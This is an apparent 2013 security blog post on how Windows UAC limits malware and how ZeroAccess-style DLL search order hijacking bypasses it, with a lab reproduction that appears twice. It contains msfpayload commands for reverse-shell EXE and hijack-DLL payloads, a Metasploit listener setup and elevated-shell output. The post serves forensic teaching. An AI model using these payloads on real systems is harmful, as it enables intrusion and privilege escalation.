UAC Impact on Malware
Monday, March 4, 2013
The User Account Control (UAC) is a feature in Windows where every application ran under an administrator user account only runs in the context of a standard user. UAC not only has an impact on the tools we use as I discussed before but it has the same impact on tools used by others such as malware. Recently, I’ve been doing work involving client-side exploits when I was reading a recipe about using Metasploit to take advantage of the way some applications loads external libraries on the Windows operating system. It reminded me about something I read about the ZeroAcess Rootkit. How ZeroAccess will leverage the DLL search order vulnerability to bypass the restrictions enforced by UAC. In this post I’m having a little fun by demonstrating the impact UAC has on malware and how effective the DLL search order exploit is for bypassing UAC. The following are the sections for this post:
- What is UAC
- DLL Search Order Vulnerability
- ZeroAccess’s Method to Bypass UAC
- Metasploit Setup
- Restrictions Enforced by UAC
- Bypassing UAC
- Summary
As I mentioned previously, UAC was first introduced with Windows Vista and the feature carried over to Windows 7. By default, UAC is turned on in both operating systems. “The primary goal of User Account Control is to reduce the exposure and attack surface of the Windows 7 operating system by requiring that all users run in standard user mode, and by limiting administrator-level access to authorized processes.”
This is a pretty significant feature as it relates to malware. Over the years people have grown accustomed to using user accounts with local administrator privileges on their Windows systems. It even reached a point to where certain applications don’t function properly without these elevated rights. The issue with doing everyday tasks with administrative privileges is that any application executed by the user also runs with elevated privileges. If malware executed on a system with elevated privileges then it could make changes system wide. What UAC does is to restrict the elevated privileges from applying to every application launched by the user. The impact on malware is pretty significant; it is restricted to the locations on the system where the user account has permissions. In most cases, these areas are the user’s profile and any mapped drives. The malware will no longer have the ability to make system wide changes unless it can elevate its privileges.
When faced with an infected system it’s important to check the UAC settings due to the potential impact UAC has on malware. The Microsoft article UAC Group Policy Settings and Registry Key Settings outlines the UAC registry settings and the uac RegRipper plugin can extract this information. Below is the output from the uac plug-in when UAC is turned on with the default settings (when UAC is off the EnableLUA and ConsentPromptBehaviorAdmin values are both set to zero):
C:\>rip.exe –p uac –r C:\uac\on\Software
uac v.20130213
(Software) Get Select User Account Control (UAC) Values
UAC Information
Microsoft\Windows\CurrentVersion\policies\system
LastWrite Time Wed Feb 13 18:39:29 2013 (UTC)
EnableLUA value = 1
User Account Control: Run all administrators in Admin Approval Mode
0 = Disabled
1 = Enabled (Default)
EnableVirtualization value = 1
User Account Control: Virtualize file and registry write failures to per-user locations
0 = Disabled
1 = Enabled (Default)
FilterAdministratorToken value = 0
User Account Control: Admin Approval Mode for the built-in Administrator account
0 = Disabled (Default)
1 = Enabled
ConsentPromptBehaviorAdmin value = 5
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
0 = Elevate without prompting
1 = Prompt for credentials on the secure desktop
2 = Prompt for consent on the secure desktop
3 = Prompt for credentials
4 = Prompt for consent
5 = Prompt for consent for non-Windows binaries (Default)
ConsentPromptBehaviorUser value = 3
User Account Control: Behavior of the elevation prompt for standard users
0 = Automatically deny elevation requests
1 = Prompt for consent on the secure desktop
3 = Prompt for consent on the secure desktop (Default)
The dynamic-link library (DLL) search order vulnerability is well known and has been extensively discussed. Three years ago Mandiant wrote about the weakness in the post Malware Persistence without the Windows Registry. The ISC Diary chimed in on the issue with their post DLL hijacking vulnerabilities. These are only two articles out of many so I’m only briefly touching on the vulnerability. The vulnerability exists because Windows searches for a DLL in a specific order when an application tries to load a DLL. The directories searched are the following in this order: directory from which applications loaded, system directory, Windows directory, current directory, and the directories that are listed in the PATH environment variable. The vulnerability is an application could load a malicious DLL
- if the DLL has the same name as one that gets loaded
- if the DLL is located in a directory that is searched before the directory containing the legitimate DLL
ZeroAccess’s Method to Bypass UAC
UAC restricts the elevated privileges from applying to every application launched by the user which significantly impacts malware. The ZeroAccess Rootkit bypasses UAC using a clever technique. The Sophos ZeroAccess Rootkit Report described the technique as follows:
“ZeroAccess must elevate its privileges to install successfully, but in order to do this from a non-administrator account on UAC enabled versions of Windows, a UAC popup will appear. End users are more likely to be suspicious of a file they have just downloaded from the internet that they thought was an illegal keygen, crack or hacked version of a game; they may also be suspicious if an unknown exe file causes a UAC popup while the user is browsing the web (exploit pack infection vector).
As a result the user may choose not to allow the program to proceed, thus ZeroAccess installation may fail. To bypass this possible problem, ZeroAccess disguises itself by forcing the UAC popup to appear to come from a different, benign-seeming program. A clean copy of the Adobe Flash Installer (InstallFlashPlayer.exe) is dropped to a temporary directory and the DLL load order of Windows is abused to ensure that ZeroAccess is loaded into the clean file’s process address space when it is executed.
By dropping a DLL called msimg32.dll (one of the DLLs that InstallFlashPlayer.exe imports) into the same directory as the Flash installer file, Windows will load this DLL in preference to the genuine msimg32.dll because Windows looks in the current directory before the system directory when loading DLLs:”
I executed a Flash installer file from the Temp folder and the search order for the msimg32.dll was:
LdrLoadDll ( "C:\Users\lab\AppData\Local\Temp;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\", 0x0028fa78, 0x0028fa64, 0x0028fa7c )
As can be seen the folder where the application loaded from (Temp) was checked before the C:\Windows\system32 directory where the msimg32.dll is actually located.
The ZeroAccess Rootkit uses a mixture of social engineering and the DLL search order vulnerability to bypass the UAC feature. Metasploit was my go to tool to demonstrate UAC’s impact on malware and to verify how effective the DLL search order exploit is for bypassing the feature. For those solely interested in the testing skip ahead to Restrictions Enforced by UAC section. For completeness and those who want to replicate my testing I’m providing the information about my Metasploit setup. My setup involved: create a custom executable to UAC’s restrictions on privileges, create custom DLL to bypass UAC with, and set up Metasploit listener for the reverse connections.
My network configuration was Windows 7 and BackTrack virtual machines both connected to a virtual network. After I created the custom reverse shells I manually copied them over to the Windows 7 virtual machine for execution.
I built the custom executable with msfpayload and used the following command.
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 X >./msimg32.exe
I built the custom DLL with pretty much the same command but I replaced the X with a D as shown below.
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 D >./msimg32.dll
The payload I selected for the custom executable and DLL were reverse shells. Their purpose is to establish command shells back to my BackTrack VM at IP address 192.168.71.128 on port 4444. The following are the commands I used to setup the Metasploit listener (notice the listener uses the same payload, IP address, and port number as the custom executable/DLL)
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.71.128
LHOST => 192.168.71.128
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.71.128:4444
[*] Starting the payload handler...
It’s always helpful to first see things as they should be. The first test was to examine the privileges restrictions imposed by UAC to see firsthand its impact on malware from the attackers’ perspective. I manually copied the msimg32.exe to the C:\Users\lab\AppData\Local\Temp directory on the Windows 7 VM and then executed it.
On the BackTrack VM I got a successful shell as shown below:
[*] Command shell session 1 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:12:46 -0500
I dropped into the shell and executed the whoami command to see what privileges I had.
C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============= ===============================
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
The output showed the shell was running under standard user mode since certain administrative privileges were missing such as the SeTakeOwnershipPrivilege privilege. I next took the testing one step forward by trying to create a file in the System32 directory but was denied access as shown below:
C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt
echo hello > C:\Windows\System32\hello.txt
Access is denied.
Bypassing UAC
The restricted privileges imposed by UAC was expected and matched my previous testing. I restored the Windows 7 VM to a snapshot in a clean state and copied the msimg32.dll and a Flash Installer file to the C:\Users\lab\AppData\Local\Temp directory.
I executed the Flash installer file (InstallFlashPlayer.exe) by double clicking it and was greeted with the UAC popup. Notice how the verified publisher shows Adobe Systems Incorporated.
After I clicked Yes to allow the program to make changes to the system on the BackTrack VM I got a successful shell as shown below. This means the msimg32.dll in the Temp directly was loaded before the legitimate DLL in the System32 directory.
[*] Command shell session 2 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:18:28 -0500
I dropped into the shell and executed the whoami command to see what privileges I had.
C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ====== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
The output showed the shell was running under administrator mode confirming UAC was successfully bypassed. Again, I took the testing one step forward by successfully creating a file in the System32 directory (notice the access denied message didn’t appear).
C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt
echo hello > C:\Windows\System32\hello.txt
C:\Users\lab\AppData\Local\Temp>
Summary
When confronted with examining a system impacted by malware it is important to know what user account was involved and what privileges the account had. If the account is an administrator on a Windows Vista or newer operating system then the next check should be to determine the UAC settings. UAC is the difference between malware being able to make changes system wide or being restricted to a user profile. That is unless the malware leverages a technique to bypass the UAC feature. Then all bets are off. :)
- What is UAC
- DLL Search Order Vulnerability
- ZeroAccess’s Method to Bypass UAC
- Metasploit Setup
- Restrictions Enforced by UAC
- Bypassing UAC
- Summary
What is UAC
As I mentioned previously, UAC was first introduced with Windows Vista and the feature carried over to Windows 7. By default, UAC is turned on in both operating systems. “The primary goal of User Account Control is to reduce the exposure and attack surface of the Windows 7 operating system by requiring that all users run in standard user mode, and by limiting administrator-level access to authorized processes.”
This is a pretty significant feature as it relates to malware. Over the years people have grown accustomed to using user accounts with local administrator privileges on their Windows systems. It even reached a point to where certain applications don’t function properly without these elevated rights. The issue with doing everyday tasks with administrative privileges is that any application executed by the user also runs with elevated privileges. If malware executed on a system with elevated privileges then it could make changes system wide. What UAC does is to restrict the elevated privileges from applying to every application launched by the user. The impact on malware is pretty significant; it is restricted to the locations on the system where the user account has permissions. In most cases, these areas are the user’s profile and any mapped drives. The malware will no longer have the ability to make system wide changes unless it can elevate its privileges.
When faced with an infected system it’s important to check the UAC settings due to the potential impact UAC has on malware. The Microsoft article UAC Group Policy Settings and Registry Key Settings outlines the UAC registry settings and the uac RegRipper plugin can extract this information. Below is the output from the uac plug-in when UAC is turned on with the default settings (when UAC is off the EnableLUA and ConsentPromptBehaviorAdmin values are both set to zero):
C:\>rip.exe –p uac –r C:\uac\on\Software
uac v.20130213
(Software) Get Select User Account Control (UAC) Values
UAC Information
Microsoft\Windows\CurrentVersion\policies\system
LastWrite Time Wed Feb 13 18:39:29 2013 (UTC)
EnableLUA value = 1
User Account Control: Run all administrators in Admin Approval Mode
0 = Disabled
1 = Enabled (Default)
EnableVirtualization value = 1
User Account Control: Virtualize file and registry write failures to per-user locations
0 = Disabled
1 = Enabled (Default)
FilterAdministratorToken value = 0
User Account Control: Admin Approval Mode for the built-in Administrator account
0 = Disabled (Default)
1 = Enabled
ConsentPromptBehaviorAdmin value = 5
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
0 = Elevate without prompting
1 = Prompt for credentials on the secure desktop
2 = Prompt for consent on the secure desktop
3 = Prompt for credentials
4 = Prompt for consent
5 = Prompt for consent for non-Windows binaries (Default)
ConsentPromptBehaviorUser value = 3
User Account Control: Behavior of the elevation prompt for standard users
0 = Automatically deny elevation requests
1 = Prompt for consent on the secure desktop
3 = Prompt for consent on the secure desktop (Default)
DLL Search Order Vulnerability
The dynamic-link library (DLL) search order vulnerability is well known and has been extensively discussed. Three years ago Mandiant wrote about the weakness in the post Malware Persistence without the Windows Registry. The ISC Diary chimed in on the issue with their post DLL hijacking vulnerabilities. These are only two articles out of many so I’m only briefly touching on the vulnerability. The vulnerability exists because Windows searches for a DLL in a specific order when an application tries to load a DLL. The directories searched are the following in this order: directory from which applications loaded, system directory, Windows directory, current directory, and the directories that are listed in the PATH environment variable. The vulnerability is an application could load a malicious DLL
- if the DLL has the same name as one that gets loaded
- if the DLL is located in a directory that is searched before the directory containing the legitimate DLL
ZeroAccess’s Method to Bypass UAC
UAC restricts the elevated privileges from applying to every application launched by the user which significantly impacts malware. The ZeroAccess Rootkit bypasses UAC using a clever technique. The Sophos ZeroAccess Rootkit Report described the technique as follows:
“ZeroAccess must elevate its privileges to install successfully, but in order to do this from a non-administrator account on UAC enabled versions of Windows, a UAC popup will appear. End users are more likely to be suspicious of a file they have just downloaded from the internet that they thought was an illegal keygen, crack or hacked version of a game; they may also be suspicious if an unknown exe file causes a UAC popup while the user is browsing the web (exploit pack infection vector).
As a result the user may choose not to allow the program to proceed, thus ZeroAccess installation may fail. To bypass this possible problem, ZeroAccess disguises itself by forcing the UAC popup to appear to come from a different, benign-seeming program. A clean copy of the Adobe Flash Installer (InstallFlashPlayer.exe) is dropped to a temporary directory and the DLL load order of Windows is abused to ensure that ZeroAccess is loaded into the clean file’s process address space when it is executed.
By dropping a DLL called msimg32.dll (one of the DLLs that InstallFlashPlayer.exe imports) into the same directory as the Flash installer file, Windows will load this DLL in preference to the genuine msimg32.dll because Windows looks in the current directory before the system directory when loading DLLs:”
I executed a Flash installer file from the Temp folder and the search order for the msimg32.dll was:
LdrLoadDll ( "C:\Users\lab\AppData\Local\Temp;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\", 0x0028fa78, 0x0028fa64, 0x0028fa7c )
As can be seen the folder where the application loaded from (Temp) was checked before the C:\Windows\system32 directory where the msimg32.dll is actually located.
Metasploit Setup
The ZeroAccess Rootkit uses a mixture of social engineering and the DLL search order vulnerability to bypass the UAC feature. Metasploit was my go to tool to demonstrate UAC’s impact on malware and to verify how effective the DLL search order exploit is for bypassing the feature. For those solely interested in the testing skip ahead to Restrictions Enforced by UAC section. For completeness and those who want to replicate my testing I’m providing the information about my Metasploit setup. My setup involved: create a custom executable to UAC’s restrictions on privileges, create custom DLL to bypass UAC with, and set up Metasploit listener for the reverse connections.
My network configuration was Windows 7 and BackTrack virtual machines both connected to a virtual network. After I created the custom reverse shells I manually copied them over to the Windows 7 virtual machine for execution.
Create Custom Executable
I built the custom executable with msfpayload and used the following command.
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 X >./msimg32.exe
Create Custom DLL
I built the custom DLL with pretty much the same command but I replaced the X with a D as shown below.
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 D >./msimg32.dll
Set up Metasploit Listener
The payload I selected for the custom executable and DLL were reverse shells. Their purpose is to establish command shells back to my BackTrack VM at IP address 192.168.71.128 on port 4444. The following are the commands I used to setup the Metasploit listener (notice the listener uses the same payload, IP address, and port number as the custom executable/DLL)
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.71.128
LHOST => 192.168.71.128
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.71.128:4444
[*] Starting the payload handler...
Restrictions Enforced by UAC
It’s always helpful to first see things as they should be. The first test was to examine the privileges restrictions imposed by UAC to see firsthand its impact on malware from the attackers’ perspective. I manually copied the msimg32.exe to the C:\Users\lab\AppData\Local\Temp directory on the Windows 7 VM and then executed it.
On the BackTrack VM I got a successful shell as shown below:
[*] Command shell session 1 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:12:46 -0500
I dropped into the shell and executed the whoami command to see what privileges I had.
C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============= ===============================
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
The output showed the shell was running under standard user mode since certain administrative privileges were missing such as the SeTakeOwnershipPrivilege privilege. I next took the testing one step forward by trying to create a file in the System32 directory but was denied access as shown below:
C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt
echo hello > C:\Windows\System32\hello.txt
Access is denied.
Bypassing UAC
The restricted privileges imposed by UAC was expected and matched my previous testing. I restored the Windows 7 VM to a snapshot in a clean state and copied the msimg32.dll and a Flash Installer file to the C:\Users\lab\AppData\Local\Temp directory.
I executed the Flash installer file (InstallFlashPlayer.exe) by double clicking it and was greeted with the UAC popup. Notice how the verified publisher shows Adobe Systems Incorporated.
After I clicked Yes to allow the program to make changes to the system on the BackTrack VM I got a successful shell as shown below. This means the msimg32.dll in the Temp directly was loaded before the legitimate DLL in the System32 directory.
[*] Command shell session 2 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:18:28 -0500
I dropped into the shell and executed the whoami command to see what privileges I had.
C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ====== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
The output showed the shell was running under administrator mode confirming UAC was successfully bypassed. Again, I took the testing one step forward by successfully creating a file in the System32 directory (notice the access denied message didn’t appear).
C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt
echo hello > C:\Windows\System32\hello.txt
C:\Users\lab\AppData\Local\Temp>
Summary
When confronted with examining a system impacted by malware it is important to know what user account was involved and what privileges the account had. If the account is an administrator on a Windows Vista or newer operating system then the next check should be to determine the UAC settings. UAC is the difference between malware being able to make changes system wide or being restricted to a user profile. That is unless the malware leverages a technique to bypass the UAC feature. Then all bets are off. :)
Posts
OK, but what happened with real Flash installer ? Did it crashed after clicking YES to UAC popup (i.e. due to loading false DLL) or what ? Please answer.
In this instance it crashed. The Metasploit DLL I created doesn't pass off execution to the real msing32.DLL. Keep in mind that I was just running a test. Malware such as ZeroAccess will pass the execution flow to the real DLL and the application won't crash.
Thanks for a great post
Love your writing style. It's so easy to comprehend
Ok, so if I'm careful with what I allow, then I shouldn't have problems with malware, right? also it's not neccesary to have an antivirus program if I'm careful with this, it seems to me.
But If I'm an administrator, which don't have to put a password to take an action (not like the standard user), then this malware scripts can take an action by themeselves?
@joaquin
Being careful is not enough; organizations are careful every day but still are dealing with malware issues. Other actions are needed to reduce malware infections. Actions such as protecting client-side apps and blocking known malicious websites. I wouldn't go as far not recommending anti-virus since it still has value. Personally, I don't use it and opt for Deep Freeze.